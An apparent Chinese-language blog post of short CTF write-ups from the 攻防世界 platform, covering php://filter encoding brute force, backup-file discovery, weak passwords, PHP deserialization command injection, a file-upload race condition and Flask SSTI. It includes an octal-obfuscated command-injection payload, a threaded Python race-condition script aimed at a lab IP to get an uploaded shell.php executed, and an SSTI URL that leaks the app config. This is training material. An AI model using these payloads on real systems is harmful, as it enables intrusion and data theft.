当前位置: 首页 > article >正文

攻防世界 文件上传

题目名称-文件包含

今天的题大概提一下解题思路就好了

这里要使用php://filter 在此基础上因为网页过滤了一些关键字 我们要进行爆破

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

就得到了cyberpeace{d85dfd5b23264ede9fc8e1f9bc93a382}

back up

这是一个备份文件的题

/index.php.bak

常见备份文件后缀 :

.git .svn .swp .~ .bak .bash_history .bak

weak_auth

题目描述告诉我们随手设的密码 所以可能是弱密码 我们可以直接进行爆破

很轻松就得到了flag

unseping

又是php代码的审计 这跟昨天写的差不多 都是base编码后反序列化传入 我们中间可以使用正则绕过

wp的payload

$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

wzsc_文件上传

import requests
import threading
import os
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
 
        self.url = 'http://61.147.171.105:62418/upload/a.php'
        self.uploadUrl = 'http://61.147.171.105:62418/upload/shell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def _upload(self):
        print('upload file...')
        rs = requests.get(self.uploadUrl)
        if rs.status_code == 200:
            print('[*] create file shell.php success.')
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._upload()
                self._get()
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()
​

这道题我的蚁剑有问题 所以只放了wp的脚本 但我的文件上传也一直不成功

shrine

不规则 我们查看源码

61.147.171.105:64225/shrine/%7B%7Bget_flashed_messages.globals['current_app'].config%7D%7D

这是在shrine路径下的ssti注入,由于过滤了config 和self,可以用get_flashed_messages函数

SSTI

是一种Web应用漏洞,攻击者通过注入恶意模板代码,使服务器在渲染模板时执行这些代码,从而导致敏感信息泄露、代码执行、命令执行等问题

SSTI漏洞的产生主要是因为Web应用程序在使用模板引擎时,未对用户输入进行严格过滤或验证,直接将用户输入作为模板内容的一部分进行渲染

get_flashed_messages函数

是 Flask 框架中用于获取闪现消息(Flash Messages)的函数。闪现消息是一种在请求结束时记录消息,并在下一个请求中访问这些消息的机制,通常用于在重定向后显示一次性消息


http://www.kler.cn/a/537386.html

相关文章:

  • Android修行手册-五种比较图片相似或相同
  • 基于asr的所见即可说方案
  • 大学资产管理系统中的下载功能设计与实现
  • NetCore Consul动态伸缩+Ocelot 网关 缓存 自定义缓存 + 限流、熔断、超时 等服务治理
  • c++ 浮点数比较判断
  • 【大数据技术】搭建完全分布式高可用大数据集群(Scala+Spark)
  • UG NX二次开发(C++)-UIStyler-枚举(enum)
  • 网络工程师 (23)OSI模型层次结构
  • 使用Django Rest Framework构建API
  • Ubuntu MKL(Intel Math Kernel Library)
  • 使用 Let‘s Encrypt 和 OpenResty 实现域名转发与 SSL 配置
  • Maven 插件与目标(Goals)
  • VSCode使用总结
  • 探讨如何在AS上构建webrtc(2)从sdk/android/Build.gn开始
  • SpringBoot3 + Jedis5 + Redis集群 如何通过scan方法分页获取所有keys
  • 【大数据技术】Kafka实时分析用户行为日志(python+zookeeper+kafka)
  • VsCode创建VUE项目
  • 数据库操作与数据管理——Rust 与 SQLite 的集成
  • csv-parser在C++17下from_chars函数问题
  • 【GitLab CI/CD 实践】从 0 到 1 搭建高效自动化部署流程
  • Git命令缩写配置(git命令设置别名)
  • DFX(Design for eXcellence)架构设计全解析:理论、实战、案例与面试指南*
  • enableEdgeToEdge
  • 深度分析:网站快速收录与网站内容多样性的关系
  • java程序员面试自身优缺点,详细说明
  • Git命令的复习